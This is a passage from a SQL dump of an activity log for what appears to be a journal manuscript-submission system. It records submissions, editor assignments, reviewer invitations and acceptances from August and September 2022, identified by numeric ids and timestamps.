has Invited Reviewer',12944,'Publisher',972),(120683,'2022-08-24 10:21:08','Manuscript Submitted by Author',12977,'Author',13018),(120684,'2022-08-24 10:49:58','Manuscript Submitted by Author using Submission form',12978,'Author',13189),(120685,'2022-08-24 11:31:01','Manuscript Submitted by Author using Submission form',12979,'Author',13190),(120686,'2022-08-24 12:13:28','Author sent Email',12910,'Author',13116),(120687,'2022-08-24 14:56:05','Manuscript Submitted by Publisher',12980,'Publisher',673),(120688,'2022-08-24 14:59:49','Manuscript Submitted by Author using Submission form',12981,'Author',13191),(120689,'2022-08-24 15:18:31','Manuscript Submitted by Publisher',12982,'Publisher',85),(120690,'2022-08-24 15:41:08','Manuscript Submitted by Publisher',12984,'Publisher',85),(120691,'2022-08-24 15:41:08','Manuscript Submitted by Author using Submission form',12983,'Author',13192),(120692,'2022-08-24 15:41:42','Publisher has been Withdrawn  article',12901,'Publisher',85),(120693,'2022-08-24 15:42:25','Publisher has been Withdrawn  article',12681,'Publisher',85),(120694,'2022-08-24 15:45:54','Manuscript Submitted by Publisher',12985,'Publisher',85),(120695,'2022-08-24 15:51:59','Manuscript Submitted by Publisher',12986,'Publisher',85),(120696,'2022-08-24 15:53:41','Manuscript Submitted by Author using Submission form',12987,'Author',13193),(120697,'2022-08-24 15:56:40','Editor has Accepted to review Manuscript',12954,'Editor',1785),(120698,'2022-08-24 15:56:55','Editor has been Editor Decision Accepted article',12954,'Editor',1785),(120699,'2022-08-24 15:58:05','Editor has Accepted to review Manuscript',12953,'Editor',1784),(120700,'2022-08-24 15:58:16','Editor has been Editor Decision Accepted article',12953,'Editor',1784),(120701,'2022-08-24 15:59:26','Editor has Accepted to review Manuscript',12947,'Editor',1367),(120702,'2022-08-24 15:59:42','Editor has been Editor Decision Accepted article',12947,'Editor',1367),(120703,'2022-08-24 16:01:44','Editor has Accepted to review Manuscript',12944,'Editor',1786),(120704,'2022-08-24 16:01:54','Editor has been Editor Decision Accepted article',12944,'Editor',1786),(120705,'2022-08-24 16:38:52','Publisher has been Accepted Articles  article',12570,'Publisher',85),(120706,'2022-08-24 16:39:19','Publisher has been Assigned Editor',12986,'Publisher',85),(120707,'2022-08-24 16:39:33','Publisher has been Assigned Editor',12985,'Publisher',85),(120708,'2022-08-24 16:39:49','Publisher has been Assigned Editor',12984,'Publisher',85),(120709,'2022-08-24 16:41:59','Manuscript Submitted by Author using Submission form',12988,'Author',13194),(120710,'2022-08-24 16:47:01','Publisher has been Accepted Articles  article',12986,'Publisher',85),(120711,'2022-08-24 16:54:21','Publisher has been Accepted Articles  article',12985,'Publisher',85),(120712,'2022-08-24 16:59:24','Publisher has been Accepted Articles  article',12984,'Publisher',85),(120713,'2022-08-24 17:01:46','Publisher has been Assigned Editor',12939,'Publisher',984),(120714,'2022-08-24 17:02:04','Publisher has been Assigned Editor',12940,'Publisher',984),(120715,'2022-08-24 17:02:52','Publisher has been Accepted Articles  article',12982,'Publisher',85),(120716,'2022-08-25 10:02:03','Publisher : Notified Editor',12905,'Publisher',988),(120717,'2022-08-25 10:02:43','Publisher: Accept Notification has been sent to Author',12919,'Publisher',988),(120718,'2022-08-25 10:03:14','Manuscript Updated',12919,'Publisher',988),(120719,'2022-08-25 10:04:27','Publisher has been Accepted Articles  article',12919,'Publisher',988),(120720,'2022-08-25 10:06:37','Editor has been Editor Decision Accepted article',12905,'Editor',1783),(120721,'2022-08-25 10:07:20','Publisher: Accept Notification has been sent to Author',12905,'Publisher',988),(120722,'2022-08-25 10:07:56','Publisher has been Accepted Articles  article',12905,'Publisher',988),(120723,'2022-08-25 10:28:40','Publisher has been Withdrawn  article',9318,'Publisher',75),(120724,'2022-08-25 10:35:02','Manuscript Submitted by Publisher',12989,'Publisher',75),(120725,'2022-08-25 10:35:17','Publisher has been Accepted Articles  article',12523,'Publisher',85),(120726,'2022-08-25 10:35:19','Publisher has been Accepted Articles  article',12523,'Publisher',85),(120727,'2022-08-25 10:46:59','Manuscript Submitted by Author using Submission form',12990,'Author',13195),(120728,'2022-08-25 11:03:50','Manuscript Submitted by Author using Submission form',12991,'Author',13196),(120729,'2022-08-25 11:21:44','Publisher has been Assigned Editor',12970,'Publisher',673),(120730,'2022-08-25 11:22:16','Publisher has Invited Reviewer',12970,'Publisher',673),(120731,'2022-08-25 11:22:21','Publisher has Invited Reviewer',12970,'Publisher',673),(120732,'2022-08-25 11:22:25','Publisher has Invited Reviewer',12970,'Publisher',673),(120733,'2022-08-25 11:22:30','Publisher has Invited Reviewer',12970,'Publisher',673),(120734,'2022-08-25 11:22:35','Publisher has Invited Reviewer',12970,'Publisher',673),(120735,'2022-08-25 11:22:40','Publisher has Invited Reviewer',12970,'Publisher',673),(120736,'2022-08-25 11:22:45','Publisher has Invited Reviewer',12970,'Publisher',673),(120737,'2022-08-25 11:22:49','Publisher has Invited Reviewer',12970,'Publisher',673),(120738,'2022-08-25 11:22:54','Publisher has Invited Reviewer',12970,'Publisher',673),(120739,'2022-08-25 11:22:59','Publisher has Invited Reviewer',12970,'Publisher',673),(120740,'2022-08-25 11:23:03','Publisher has Invited Reviewer',12970,'Publisher',673),(120741,'2022-08-25 11:23:08','Publisher has Invited Reviewer',12970,'Publisher',673),(120742,'2022-08-25 11:23:13','Publisher has Invited Reviewer',12970,'Publisher',673),(120743,'2022-08-25 11:23:18','Publisher has Invited Reviewer',12970,'Publisher',673),(120744,'2022-08-25 11:23:22','Publisher has Invited Reviewer',12970,'Publisher',673),(120745,'2022-08-25 11:23:27','Publisher has Invited Reviewer',12970,'Publisher',673),(120746,'2022-08-25 11:23:32','Publisher has Invited Reviewer',12970,'Publisher',673),(120747,'2022-08-25 11:23:37','Publisher has Invited Reviewer',12970,'Publisher',673),(120748,'2022-08-25 11:23:42','Publisher has Invited Reviewer',12970,'Publisher',673),(120749,'2022-08-25 11:23:47','Publisher has Invited Reviewer',12970,'Publisher',673),(120750,'2022-08-25 11:23:51','Publisher has Invited Reviewer',12970,'Publisher',673),(120751,'2022-08-25 11:23:56','Publisher has Invited Reviewer',12970,'Publisher',673),(120752,'2022-08-25 12:15:39','Manuscript Updated',7824,'Publisher',75),(120753,'2022-08-25 14:03:33','Reviewer has submitted comments',12904,'Reviewer',20696),(120754,'2022-08-25 14:04:41','Publisher : Notified Editor',12904,'Publisher',1033),(120755,'2022-08-25 14:06:16','Editor has Accepted to review Manuscript',12904,'Editor',1740),(120756,'2022-08-25 14:06:42','Editor has been Editor Decision Accepted article',12904,'Editor',1740),(120757,'2022-08-25 14:08:44','Publisher: Accept Notification has been sent to Author',12904,'Publisher',1033),(120758,'2022-08-25 14:25:07','Publisher has been Accepted Articles  article',12904,'Publisher',1033),(120759,'2022-08-25 14:27:46','Editor has Accepted to review Manuscript',12913,'Editor',1740),(120760,'2022-08-25 14:27:57','Editor has Accepted to review Manuscript',12914,'Editor',1740),(120761,'2022-08-25 14:28:21','Editor has been Editor Decision Accepted article',12914,'Editor',1740),(120762,'2022-08-25 14:28:36','Editor has been Editor Decision Accepted article',12914,'Editor',1740),(120763,'2022-08-25 14:31:08','Editor has been Editor Decision Accepted article',12913,'Editor',1740),(120764,'2022-08-25 14:39:43','Publisher has been Accepted Articles  article',12913,'Publisher',1033),(120765,'2022-08-25 15:08:26','Publisher has been Accepted Articles  article',12914,'Publisher',1033),(120766,'2022-08-25 15:14:28','Manuscript Submitted by Author using Submission form',12992,'Author',13197),(120767,'2022-08-25 17:55:25','Manuscript Submitted by Author using Submission form',12993,'Author',13198),(120768,'2022-08-25 18:02:19','Publisher has been Withdrawn  article',6914,'Publisher',75),(120769,'2022-08-25 18:05:04','Manuscript Submitted by Publisher',12994,'Publisher',75),(120770,'2022-08-25 18:05:18','Publisher has been Assigned Editor',12977,'Publisher',75),(120771,'2022-08-25 18:05:36','Publisher has been Assigned Editor',12989,'Publisher',75),(120772,'2022-08-25 18:07:31','Publisher has been Accepted Articles  article',12989,'Publisher',75),(120773,'2022-08-25 18:39:38','Publisher has been Assigned Editor',12994,'Publisher',75),(120774,'2022-08-25 18:41:14','Publisher has been Accepted Articles  article',12994,'Publisher',75),(120775,'2022-08-25 20:53:22','Author sent Email',12925,'Author',13145),(120776,'2022-08-25 23:54:12','Manuscript Submitted by Author using Submission form',12995,'Author',13199),(120777,'2022-08-26 08:57:08','Publisher has been Assigned Editor',12964,'Publisher',48),(120778,'2022-08-26 09:40:42','Manuscript Submitted by Author using Submission form',12996,'Author',13200),(120779,'2022-08-26 09:55:00','Publisher has Invited Reviewer',12958,'Publisher',48),(120780,'2022-08-26 09:55:06','Publisher has Invited Reviewer',12958,'Publisher',48),(120781,'2022-08-26 09:55:10','Publisher has Invited Reviewer',12958,'Publisher',48),(120782,'2022-08-26 09:55:15','Publisher has Invited Reviewer',12958,'Publisher',48),(120783,'2022-08-26 09:55:20','Publisher has Invited Reviewer',12958,'Publisher',48),(120784,'2022-08-26 09:55:25','Publisher has Invited Reviewer',12958,'Publisher',48),(120785,'2022-08-26 10:40:45','Manuscript Updated',12910,'Publisher',248),(120786,'2022-08-26 10:41:12','Publisher has been Accepted Articles  article',12910,'Publisher',248),(120787,'2022-08-26 13:09:27','Manuscript Submitted by Publisher',12997,'Publisher',376),(120788,'2022-08-26 13:54:24','Editor has Accepted to review Manuscript',12970,'Editor',1456),(120789,'2022-08-26 13:54:43','Editor has been Editor Decision Accepted article',12970,'Editor',1456),(120790,'2022-08-26 13:55:36','Manuscript Updated',12970,'Publisher',673),(120791,'2022-08-26 13:56:35','Publisher has been Accepted Articles  article',12970,'Publisher',673),(120792,'2022-08-26 14:07:18','Manuscript Submitted by Author using Submission form',12998,'Author',13202),(120793,'2022-08-26 22:07:06','Manuscript Submitted by Author',12999,'Author',13154),(120794,'2022-08-27 09:15:17','Manuscript Submitted by Publisher',13000,'Publisher',988),(120795,'2022-08-27 09:57:07','Publisher has been Assigned Editor',12965,'',1050),(120796,'2022-08-27 12:46:32','Publisher has been Assigned Editor',12968,'Publisher',673),(120797,'2022-08-27 12:47:08','Publisher has Invited Reviewer',12968,'Publisher',673),(120798,'2022-08-27 12:47:13','Publisher has Invited Reviewer',12968,'Publisher',673),(120799,'2022-08-27 12:47:17','Publisher has Invited Reviewer',12968,'Publisher',673),(120800,'2022-08-27 12:47:22','Publisher has Invited Reviewer',12968,'Publisher',673),(120801,'2022-08-27 12:47:27','Publisher has Invited Reviewer',12968,'Publisher',673),(120802,'2022-08-27 12:47:31','Publisher has Invited Reviewer',12968,'Publisher',673),(120803,'2022-08-27 12:47:36','Publisher has Invited Reviewer',12968,'Publisher',673),(120804,'2022-08-27 12:47:41','Publisher has Invited Reviewer',12968,'Publisher',673),(120805,'2022-08-27 12:47:46','Publisher has Invited Reviewer',12968,'Publisher',673),(120806,'2022-08-27 12:47:51','Publisher has Invited Reviewer',12968,'Publisher',673),(120807,'2022-08-27 12:47:56','Publisher has Invited Reviewer',12968,'Publisher',673),(120808,'2022-08-27 12:48:01','Publisher has Invited Reviewer',12968,'Publisher',673),(120809,'2022-08-27 12:48:06','Publisher has Invited Reviewer',12968,'Publisher',673),(120810,'2022-08-27 12:48:10','Publisher has Invited Reviewer',12968,'Publisher',673),(120811,'2022-08-27 12:48:15','Publisher has Invited Reviewer',12968,'Publisher',673),(120812,'2022-08-27 12:48:20','Publisher has Invited Reviewer',12968,'Publisher',673),(120813,'2022-08-27 12:48:25','Publisher has Invited Reviewer',12968,'Publisher',673),(120814,'2022-08-27 12:48:29','Publisher has Invited Reviewer',12968,'Publisher',673),(120815,'2022-08-27 12:48:34','Publisher has Invited Reviewer',12968,'Publisher',673),(120816,'2022-08-27 12:48:39','Publisher has Invited Reviewer',12968,'Publisher',673),(120817,'2022-08-27 12:48:43','Publisher has Invited Reviewer',12968,'Publisher',673),(120818,'2022-08-27 12:48:48','Publisher has Invited Reviewer',12968,'Publisher',673),(120819,'2022-08-27 13:04:49','Manuscript Submitted by Publisher',13004,'Publisher',75),(120820,'2022-08-27 13:07:32','Manuscript Submitted by Publisher',13005,'Publisher',75),(120821,'2022-08-28 03:39:17','Manuscript Submitted by Author using Submission form',13006,'Author',13208),(120822,'2022-08-28 22:48:11','Manuscript Submitted by Author using Submission form',13008,'Author',13210),(120823,'2022-08-29 09:13:17','Manuscript Submitted by Publisher',13009,'Publisher',673),(120824,'2022-08-29 09:24:34','Manuscript Submitted by Publisher',13010,'Publisher',673),(120825,'2022-08-29 09:27:39','Publisher has been Assigned Editor',12979,'Publisher',1009),(120826,'2022-08-29 09:27:55','Publisher has been Assigned Editor',12972,'Publisher',1009),(120827,'2022-08-29 09:29:16','Publisher has been Assigned Editor',12978,'Publisher',645),(120828,'2022-08-29 09:30:53','Publisher has been Assigned Editor',12973,'Publisher',645),(120829,'2022-08-29 09:59:24','Manuscript Submitted by Publisher',13011,'Publisher',673),(120830,'2022-08-29 10:06:29','Publisher has been Assigned Editor',12987,'Publisher',988),(120831,'2022-08-29 10:06:48','Publisher has been Assigned Editor',13000,'Publisher',988),(120832,'2022-08-29 10:07:23','Publisher has Invited Reviewer',13000,'Publisher',988),(120833,'2022-08-29 10:07:28','Publisher has Invited Reviewer',13000,'Publisher',988),(120834,'2022-08-29 10:07:33','Publisher has Invited Reviewer',13000,'Publisher',988),(120835,'2022-08-29 10:07:38','Publisher has Invited Reviewer',13000,'Publisher',988),(120836,'2022-08-29 10:07:42','Publisher has Invited Reviewer',13000,'Publisher',988),(120837,'2022-08-29 10:07:47','Publisher has Invited Reviewer',13000,'Publisher',988),(120838,'2022-08-29 10:07:52','Publisher has Invited Reviewer',13000,'Publisher',988),(120839,'2022-08-29 10:07:56','Publisher has Invited Reviewer',13000,'Publisher',988),(120840,'2022-08-29 10:08:01','Publisher has Invited Reviewer',13000,'Publisher',988),(120841,'2022-08-29 10:08:06','Publisher has Invited Reviewer',13000,'Publisher',988),(120842,'2022-08-29 10:08:55','Publisher has Invited Reviewer',12987,'Publisher',988),(120843,'2022-08-29 10:09:00','Publisher has Invited Reviewer',12987,'Publisher',988),(120844,'2022-08-29 10:09:04','Publisher has Invited Reviewer',12987,'Publisher',988),(120845,'2022-08-29 10:09:09','Publisher has Invited Reviewer',12987,'Publisher',988),(120846,'2022-08-29 10:09:14','Publisher has Invited Reviewer',12987,'Publisher',988),(120847,'2022-08-29 10:09:19','Publisher has Invited Reviewer',12987,'Publisher',988),(120848,'2022-08-29 10:09:23','Publisher has Invited Reviewer',12987,'Publisher',988),(120849,'2022-08-29 10:09:28','Publisher has Invited Reviewer',12987,'Publisher',988),(120850,'2022-08-29 10:09:33','Publisher has Invited Reviewer',12987,'Publisher',988),(120851,'2022-08-29 10:09:38','Publisher has Invited Reviewer',12987,'Publisher',988),(120852,'2022-08-29 10:09:42','Publisher has Invited Reviewer',12987,'Publisher',988),(120853,'2022-08-29 12:02:26','Manuscript Submitted by Author using Submission form',13012,'Author',13212),(120854,'2022-08-29 12:31:40','Manuscript Updated',12502,'Publisher',1009),(120855,'2022-08-29 12:31:41','Manuscript Updated',12502,'Publisher',1009),(120856,'2022-08-29 12:32:30','Publisher has been Accepted Articles  article',12502,'Publisher',1009),(120857,'2022-08-29 13:42:22','Editor has Accepted to review Manuscript',12972,'Editor',1749),(120858,'2022-08-29 13:44:05','Editor has Invited Reviewer',12972,'Editor',1749),(120859,'2022-08-29 13:44:05','Editor has Invited Reviewer',12972,'Editor',1749),(120860,'2022-08-29 13:44:05','Editor has Invited Reviewer',12972,'Editor',1749),(120861,'2022-08-29 13:44:07','Editor has Invited Reviewer',12972,'Editor',1749),(120862,'2022-08-29 13:44:07','Editor has Invited Reviewer',12972,'Editor',1749),(120863,'2022-08-29 13:44:07','Editor has Invited Reviewer',12972,'Editor',1749),(120864,'2022-08-29 13:44:08','Editor has Invited Reviewer',12972,'Editor',1749),(120865,'2022-08-29 13:44:08','Editor has Invited Reviewer',12972,'Editor',1749),(120866,'2022-08-29 13:44:09','Editor has Invited Reviewer',12972,'Editor',1749),(120867,'2022-08-29 13:44:10','Editor has Invited Reviewer',12972,'Editor',1749),(120868,'2022-08-29 13:44:11','Editor has Invited Reviewer',12972,'Editor',1749),(120869,'2022-08-29 13:44:11','Editor has Invited Reviewer',12972,'Editor',1749),(120870,'2022-08-29 13:44:12','Editor has Invited Reviewer',12972,'Editor',1749),(120871,'2022-08-29 13:44:12','Editor has Invited Reviewer',12972,'Editor',1749),(120872,'2022-08-29 13:44:13','Editor has Invited Reviewer',12972,'Editor',1749),(120873,'2022-08-29 13:44:13','Editor has Invited Reviewer',12972,'Editor',1749),(120874,'2022-08-29 13:44:14','Editor has Invited Reviewer',12972,'Editor',1749),(120875,'2022-08-29 13:44:20','Editor has Invited Reviewer',12972,'Editor',1749),(120876,'2022-08-29 13:44:44','Editor has Accepted to review Manuscript',12979,'Editor',1749),(120877,'2022-08-29 13:46:21','Editor has Invited Reviewer',12979,'Editor',1749),(120878,'2022-08-29 13:46:21','Editor has Invited Reviewer',12979,'Editor',1749),(120879,'2022-08-29 13:46:22','Editor has Invited Reviewer',12979,'Editor',1749),(120880,'2022-08-29 13:46:23','Editor has Invited Reviewer',12979,'Editor',1749),(120881,'2022-08-29 13:46:23','Editor has Invited Reviewer',12979,'Editor',1749),(120882,'2022-08-29 13:46:24','Editor has Invited Reviewer',12979,'Editor',1749),(120883,'2022-08-29 13:46:24','Editor has Invited Reviewer',12979,'Editor',1749),(120884,'2022-08-29 13:46:25','Editor has Invited Reviewer',12979,'Editor',1749),(120885,'2022-08-29 13:46:26','Editor has Invited Reviewer',12979,'Editor',1749),(120886,'2022-08-29 13:46:27','Editor has Invited Reviewer',12979,'Editor',1749),(120887,'2022-08-29 13:46:27','Editor has Invited Reviewer',12979,'Editor',1749),(120888,'2022-08-29 13:46:28','Editor has Invited Reviewer',12979,'Editor',1749),(120889,'2022-08-29 13:47:33','Editor has Invited Reviewer',12979,'Editor',1749),(120890,'2022-08-29 13:48:44','Editor has Invited Reviewer',12979,'Editor',1749),(120891,'2022-08-29 13:48:45','Editor has Invited Reviewer',12979,'Editor',1749),(120892,'2022-08-29 13:48:46','Editor has Invited Reviewer',12979,'Editor',1749),(120893,'2022-08-29 13:48:46','Editor has Invited Reviewer',12979,'Editor',1749),(120894,'2022-08-29 13:48:47','Editor has Invited Reviewer',12979,'Editor',1749),(120895,'2022-08-29 14:28:06','Publisher has Invited Reviewer',12964,'Publisher',48),(120896,'2022-08-29 14:28:11','Publisher has Invited Reviewer',12964,'Publisher',48),(120897,'2022-08-29 14:28:16','Publisher has Invited Reviewer',12964,'Publisher',48),(120898,'2022-08-29 14:28:21','Publisher has Invited Reviewer',12964,'Publisher',48),(120899,'2022-08-29 14:28:26','Publisher has Invited Reviewer',12964,'Publisher',48),(120900,'2022-08-29 14:28:30','Publisher has Invited Reviewer',12964,'Publisher',48),(120901,'2022-08-29 15:05:20','Publisher has been Assigned Editor',13004,'Publisher',75),(120902,'2022-08-29 15:05:34','Publisher has been Assigned Editor',13005,'Publisher',75),(120903,'2022-08-29 15:05:48','Publisher has been Assigned Editor',13008,'Publisher',75),(120904,'2022-08-29 17:42:56','Manuscript Updated',13004,'Publisher',75),(120905,'2022-08-29 17:43:16','Publisher has been Accepted Articles  article',13004,'Publisher',75),(120906,'2022-08-29 17:43:27','Manuscript Updated',13005,'Publisher',75),(120907,'2022-08-29 17:43:44','Publisher has been Accepted Articles  article',13005,'Publisher',75),(120908,'2022-08-29 20:14:24','Reviewer has submitted comments',12856,'Reviewer',21377),(120909,'2022-08-29 20:33:12','Manuscript Submitted by Author using Submission form',13013,'Author',13213),(120910,'2022-08-30 10:57:49','Publisher has been Assigned Editor',13006,'Publisher',376),(120911,'2022-08-30 10:59:02','Editor has Accepted to review Manuscript',13006,'Editor',1452),(120912,'2022-08-30 10:59:12','Editor has been Editor Decision Accepted article',13006,'Editor',1452),(120913,'2022-08-30 10:59:54','Manuscript Updated',13006,'Publisher',376),(120914,'2022-08-30 11:00:24','Publisher has been Accepted Articles  article',13006,'Publisher',376),(120915,'2022-08-30 11:00:28','Publisher has been Accepted Articles  article',13006,'Publisher',376),(120916,'2022-08-30 11:17:41','Publisher has been Assigned Editor',12998,'Publisher',319),(120917,'2022-08-30 11:17:57','Publisher has been Assigned Editor',12993,'Publisher',319),(120918,'2022-08-30 12:25:14','Publisher has been Assigned Editor',12988,'Publisher',248),(120919,'2022-08-30 12:25:28','Publisher has been Assigned Editor',12981,'Publisher',248),(120920,'2022-08-30 12:25:43','Publisher has been Assigned Editor',12983,'Publisher',248),(120921,'2022-08-30 13:21:43','Publisher has been Assigned Editor',13012,'Publisher',972),(120922,'2022-08-30 13:23:29','Publisher has Invited Reviewer',13012,'Publisher',972),(120923,'2022-08-30 13:23:33','Publisher has Invited Reviewer',13012,'Publisher',972),(120924,'2022-08-30 13:23:38','Publisher has Invited Reviewer',13012,'Publisher',972),(120925,'2022-08-30 13:25:47','Editor has Accepted to review Manuscript',13012,'Editor',1784),(120926,'2022-08-30 13:25:58','Editor has been Editor Decision Accepted article',13012,'Editor',1784),(120927,'2022-08-30 13:47:40','Manuscript Updated',13012,'Publisher',972),(120928,'2022-08-30 13:48:03','Manuscript Updated',12954,'Publisher',972),(120929,'2022-08-30 13:48:17','Manuscript Updated',12953,'Publisher',972),(120930,'2022-08-30 13:48:29','Manuscript Updated',12947,'Publisher',972),(120931,'2022-08-30 13:48:52','Manuscript Updated',12944,'Publisher',972),(120932,'2022-08-30 13:50:32','Publisher has been Accepted Articles  article',13012,'Publisher',972),(120933,'2022-08-30 13:54:16','Publisher has been Accepted Articles  article',12954,'Publisher',972),(120934,'2022-08-30 13:55:06','Publisher has been Accepted Articles  article',12953,'Publisher',972),(120935,'2022-08-30 13:55:35','Publisher has been Accepted Articles  article',12947,'Publisher',972),(120936,'2022-08-30 13:56:10','Publisher has been Accepted Articles  article',12944,'Publisher',972),(120937,'2022-08-30 14:41:28','Publisher has been Assigned Editor',13013,'Publisher',673),(120938,'2022-08-30 14:41:46','Publisher has been Assigned Editor',13011,'Publisher',673),(120939,'2022-08-30 14:42:00','Publisher has been Assigned Editor',13010,'Publisher',673),(120940,'2022-08-30 15:34:43','Publisher has been Assigned Editor',12997,'Publisher',376),(120941,'2022-08-30 15:35:43','Editor has Accepted to review Manuscript',12997,'Editor',1452),(120942,'2022-08-30 15:35:54','Editor has been Editor Decision Accepted article',12997,'Editor',1452),(120943,'2022-08-30 15:36:32','Manuscript Updated',12997,'Publisher',376),(120944,'2022-08-30 16:05:48','Manuscript Updated',12499,'Publisher',1009),(120945,'2022-08-30 16:06:17','Publisher has been Accepted Articles  article',12499,'Publisher',1009),(120946,'2022-08-30 16:15:21','Editor has Accepted to review Manuscript',13010,'Editor',1732),(120947,'2022-08-30 16:15:53','Editor has been Editor Decision Accepted article',13010,'Editor',1732),(120948,'2022-08-30 16:16:40','Editor has been Editor Decision Accepted article',12811,'Editor',1732),(120949,'2022-08-30 16:16:53','Editor has been Editor Decision Accepted article',12811,'Editor',1732),(120950,'2022-08-30 16:17:16','Editor has been Editor Decision Accepted article',12791,'Editor',1732),(120951,'2022-08-30 16:19:34','Editor has Accepted to review Manuscript',13013,'Editor',1456),(120952,'2022-08-30 16:19:34','Editor has Accepted to review Manuscript',13013,'Editor',1456),(120953,'2022-08-30 16:19:47','Editor has been Editor Decision Accepted article',13013,'Editor',1456),(120954,'2022-08-30 16:19:54','Editor has Accepted to review Manuscript',13011,'Editor',1456),(120955,'2022-08-30 16:20:23','Editor has Accepted to review Manuscript',12968,'Editor',1456),(120956,'2022-08-30 16:20:39','Editor has been Editor Decision Accepted article',12968,'Editor',1456),(120957,'2022-08-30 16:23:04','Publisher has been Accepted Articles  article',12811,'Publisher',673),(120958,'2022-08-30 16:23:06','Publisher has been Accepted Articles  article',12811,'Publisher',673),(120959,'2022-08-30 16:23:07','Publisher has been Accepted Articles  article',12811,'Publisher',673),(120960,'2022-08-30 16:25:11','Manuscript Updated',13011,'Publisher',673),(120961,'2022-08-30 16:28:31','Publisher has been Accepted Articles  article',13011,'Publisher',673),(120962,'2022-08-30 16:29:23','Manuscript Updated',12968,'Publisher',673),(120963,'2022-08-30 16:29:57','Publisher has been Accepted Articles  article',12968,'Publisher',673),(120964,'2022-08-30 16:30:48','Publisher has been Accepted Articles  article',12791,'Publisher',673),(120965,'2022-08-30 16:31:47','Manuscript Updated',13010,'Publisher',673),(120966,'2022-08-30 16:32:14','Publisher has been Accepted Articles  article',13010,'Publisher',673),(120967,'2022-08-30 16:37:47','Publisher has been Assigned Editor',12995,'Publisher',319),(120968,'2022-08-30 17:24:57','Publisher has been Accepted Articles  article',12997,'Publisher',376),(120969,'2022-09-01 09:12:11','Publisher has been Assigned Editor',12991,'Publisher',1033),(120970,'2022-09-01 09:12:26','Publisher has been Assigned Editor',12990,'Publisher',1033),(120971,'2022-09-01 10:04:19','Manuscript Updated',12998,'Publisher',319),(120972,'2022-09-01 10:04:41','Publisher has been Accepted Articles  article',12998,'Publisher',319),(120973,'2022-09-01 10:17:30','Publisher has Invited Reviewer',12991,'Publisher',1033),(120974,'2022-09-01 10:17:36','Publisher has Invited Reviewer',12991,'Publisher',1033),(120975,'2022-09-01 10:18:03','Publisher has Invited Reviewer',12990,'Publisher',1033),(120976,'2022-09-01 10:18:09','Publisher has Invited Reviewer',12990,'Publisher',1033),(120977,'2022-09-01 10:29:22','Manuscript Updated',12993,'Publisher',319),(120978,'2022-09-01 12:17:23','Reviewer has submitted comments',12991,'Reviewer',20696),(120979,'2022-09-01 12:18:26','Reviewer has submitted comments',12990,'Reviewer',20696),(120980,'2022-09-01 12:21:24','Editor has Accepted to review Manuscript',12990,'Editor',1740),(120981,'2022-09-01 12:21:45','Editor has been Editor Decision Accepted article',12990,'Editor',1740),(120982,'2022-09-01 12:22:01','Editor has Accepted to review Manuscript',12991,'Editor',1740),(120983,'2022-09-01 12:22:18','Editor has been Editor Decision Accepted article',12991,'Editor',1740),(120984,'2022-09-01 13:05:59','Publisher has been Accepted Articles  article',12812,'Publisher',84),(120985,'2022-09-01 13:10:09','Editor has Accepted to review Manuscript',13007,'Editor',222),(120986,'2022-09-01 13:11:15','Editor has been Editor Decision Accepted article',13007,'Editor',222),(120987,'2022-09-01 13:12:27','Editor has Accepted to review Manuscript',13003,'Editor',222),(120988,'2022-09-01 13:12:41','Editor has been Editor Decision Accepted article',13003,'Editor',222),(120989,'2022-09-01 13:12:51','Editor has Accepted to review Manuscript',13002,'Editor',222),(120990,'2022-09-01 13:13:10','Editor has been Editor Decision Accepted article',13002,'Editor',222),(120991,'2022-09-01 13:14:08','Manuscript Updated',13003,'Publisher',84),(120992,'2022-09-01 13:14:44','Publisher has been Accepted Articles  article',13003,'Publisher',84),(120993,'2022-09-01 13:15:02','Manuscript Updated',13002,'Publisher',84),(120994,'2022-09-01 13:15:43','Publisher has been Accepted Articles  article',13002,'Publisher',84),(120995,'2022-09-01 13:51:11','Manuscript Submitted by Author using Submission form',13015,'Author',13215),(120996,'2022-09-01 14:18:36','Manuscript Submitted by Author using Submission form',13017,'Author',13217),(120997,'2022-09-01 14:55:41','Manuscript Updated',12990,'Publisher',1033),(120998,'2022-09-01 14:56:59','Publisher has been Accepted Articles  article',12990,'Publisher',1033),(120999,'2022-09-01 14:57:35','Manuscript Updated',12991,'Publisher',1033),(121000,'2022-09-01 14:58:07','Publisher has been Accepted Articles  article',12991,'Publisher',1033),(121001,'2022-09-01 16:55:37','Manuscript Submitted by Publisher',13018,'Publisher',376),(121002,'2022-09-01 17:08:02','Manuscript Submitted by Publisher',13019,'Publisher',988),(121003,'2022-09-01 17:10:13','Manuscript Submitted by Publisher',13020,'Publisher',988),(121004,'2022-09-01 17:15:37','Manuscript Submitted by Publisher',13021,'Publisher',988),(121005,'2022-09-01 20:31:49','Manuscript Submitted by Author using Submission form',13022,'Author',13219),(121006,'2022-09-02 14:16:16','Publisher has been Assigned Editor',13018,'Publisher',376),(121007,'2022-09-02 14:16:47','Manuscript Updated',13018,'Publisher',376),(121008,'2022-09-02 14:18:02','Editor has Accepted to review Manuscript',13018,'Editor',1452),(121009,'2022-09-02 14:18:15','Editor has been Editor Decision Accepted article',13018,'Editor',1452),(121010,'2022-09-02 14:24:07','Publisher has been Accepted Articles  article',13018,'Publisher',376),(121011,'2022-09-02 14:45:34','Manuscript Updated',13016,'Publisher',84),(121012,'2022-09-02 14:45:48','Manuscript Updated',13014,'Publisher',84),(121013,'2022-09-02 14:48:27','Editor has Accepted to review Manuscript',13016,'Editor',222),(121014,'2022-09-02 14:48:39','Editor has been Editor Decision Accepted article',13016,'Editor',222),(121015,'2022-09-02 14:49:27','Editor has Accepted to review Manuscript',13014,'Editor',221),(121016,'2022-09-02 14:49:40','Editor has been Editor Decision Accepted article',13014,'Editor',221),(121017,'2022-09-02 15:06:57','Publisher has been Assigned Editor',13020,'Publisher',988),(121018,'2022-09-02 15:07:44','Publisher has Invited Reviewer',13020,'Publisher',988),(121019,'2022-09-02 15:07:49','Publisher has Invited Reviewer',13020,'Publisher',988),(121020,'2022-09-02 15:07:54','Publisher has Invited Reviewer',13020,'Publisher',988),(121021,'2022-09-02 15:07:58','Publisher has Invited Reviewer',13020,'Publisher',988),(121022,'2022-09-02 15:08:03','Publisher has Invited Reviewer',13020,'Publisher',988),(121023,'2022-09-02 15:08:08','Publisher has Invited Reviewer',13020,'Publisher',988),(121024,'2022-09-02 15:08:13','Publisher has Invited Reviewer',13020,'Publisher',988),(121025,'2022-09-02 15:08:18','Publisher has Invited Reviewer',13020,'Publisher',988),(121026,'2022-09-02 15:08:22','Publisher has Invited Reviewer',13020,'Publisher',988),(121027,'2022-09-02 15:08:27','Publisher has Invited Reviewer',13020,'Publisher',988),(121028,'2022-09-02 